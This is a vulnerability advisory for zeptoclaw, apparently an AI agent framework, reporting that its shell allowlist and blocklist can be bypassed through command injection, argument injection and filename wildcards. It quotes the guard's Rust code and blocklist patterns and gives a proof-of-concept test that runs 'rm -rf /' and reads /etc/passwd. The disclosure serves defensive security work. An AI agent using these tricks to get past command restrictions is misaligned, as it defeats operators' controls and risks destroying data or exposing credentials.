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critical10.0No CVE yet

GHSA-5wp8-q9mx-8jx8

zeptoclaw has Shell allowlist-blocklist bypass via command/argument injection and file name wildcards

Impact

### Summary [zeptoclaw](https://github.com/qhkm/zeptoclaw) implements a allowlist combined with a blocklist to prevent malicious shell commands in [src/security/shell.rs](https://github.com/qhkm/zeptoclaw/blob/v0.5.8/src/security/shell.rs). However, even in the `Strict` mode, attackers can completely bypass all the guards from allowlist and blocklist: - to bypass the `allowlist`, command injection is enough, such as `;`, `$()` etc. - to bypass the `REGEX_BLOCKED_PATTERNS`, argument injection is enough, such as the `python3 -P -c "..."` - to bypass the `LITERAL_BLOCKED_PATTERNS`, file name wildcards can do the work, such as `cat /etc/pass[w]d` ### Details In code [src/security/shell.rs#L218-L243](https://github.com/qhkm/zeptoclaw/blob/fe2ef07cfec5bb46b42cdd65f52b9230c03e9270/src/security/shell.rs#L218-L243), one can see the allowlist only checks the first token and thus makes command injection possible. ```rust // Allowlist check (runs after blocklist) if self.allowlist_mode != ShellAllowlistMode::Off && !self.allowlist.is_empty() { let first_token = command .split_whitespace() .next() .unwrap_or("") .to_lowercase(); // Strip path prefix (e.g. /usr/bin/git -> git) let executable = first_token.rsplit('/').next().unwrap_or(&first_token); if !self.allowlist.iter().any(|a| a == executable) { match self.allowlist_mode { ShellAllowlistMode::Strict => { return Err(ZeptoError::SecurityViolation(format!( "Command '{}' not in allowlist", executable ))); } ShellAllowlistMode::Warn => { tracing::warn!( command = %command, executable = %executable, "Command not in allowlist" ); } ShellAllowlistMode::Off => {} // unreachable } ``` `!self.allowlist.is_empty()` makes the empty allowlist overlook the allowlist check, if it is in `ShellAllowlistMode::Strict` mode, empty allowlist should direct reject all the commands. As the code in [src/security/shell.rs#L18-L70](https://github.com/qhkm/zeptoclaw/blob/fe2ef07cfec5bb46b42cdd65f52b9230c03e9270/src/security/shell.rs#L18-L70), we can find the `REGEX_BLOCKED_PATTERNS` only apply `\s+` in between the command and arguments, making argument injection possible, and the `LITERAL_BLOCKED_PATTERNS` just uses specific file name, totally overlooking the file name wildcards: ```rust const REGEX_BLOCKED_PATTERNS: &[&str] = &[ // Piped shell execution (curl/wget to sh/bash) r"curl\s+.*\|\s*(sh|bash|zsh)", r"wget\s+.*\|\s*(sh|bash|zsh)", r"\|\s*(sh|bash|zsh)\s*$", // Reverse shells r"bash\s+-i\s+>&\s*/dev/tcp", r"nc\s+.*-e\s+(sh|bash|/bin)", r"/dev/tcp/", r"/dev/udp/", // Destructive root operations (various flag orderings) r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\s*($|;|\||&)", r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\*\s*($|;|\||&)", // Format/overwrite disk r"mkfs(\.[a-z0-9]+)?\s", r"dd\s+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d", r">\s*/dev/[sh]d[a-z]", // System-wide permission changes r"chmod\s+(-R\s+)?777\s+/\s*$", r"chmod\s+(-R\s+)?777\s+/[a-z]", // Fork bombs r":\(\)\s*\{\s*:\|:&\s*\}\s*;:", r"fork\s*\(\s*\)", // Encoded/indirect execution (common blocklist bypasses) r"base64\s+(-d|--decode)", r"python[23]?\s+-c\s+", r"perl\s+-e\s+", r"ruby\s+-e\s+", r"node\s+-e\s+", r"\beval\s+", r"xargs\s+.*sh\b", r"xargs\s+.*bash\b", // Environment variable exfiltration r"\benv\b.*>\s*/", r"\bprintenv\b.*>\s*/", ]; /// Literal substring patterns (credentials, sensitive paths) const LITERAL_BLOCKED_PATTERNS: &[&str] = &[ "/etc/shadow", "/etc/passwd", "~/.ssh/", ".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/id_ecdsa", ".ssh/id_dsa", ".ssh/authorized_keys", ".aws/credentials", ".kube/config", // ZeptoClaw's own config (contains API keys and channel tokens) ".zeptoclaw/config.json", ".zeptoclaw/config.yaml", ]; ``` ### PoC ```rust #[test] fn test_allowlist_bypass() { let config = ShellSecurityConfig::new().with_allowlist(vec!["git"], ShellAllowlistMode::Strict); assert!(config.validate_command("/usr/bin/git status; python -P -c 'import os; os.system(\"rm -rf /\")'; cat /etc/pass[w]d").is_ok()); } ``` ### Impact Unauthorized command execution. ### Credit [@zpbrent](https://github.com/zpbrent)

An attacker can exploit this over the network, without logging in, without any action by a user. If it succeeds: high risk of data being read, high risk of data or systems being changed, high risk of outages. The attack can reach beyond the vulnerable component itself.

Affected packages

EcosystemPackageAffectedFixed in
rustzeptoclaw<= 0.6.10.6.2

Weakness classification

References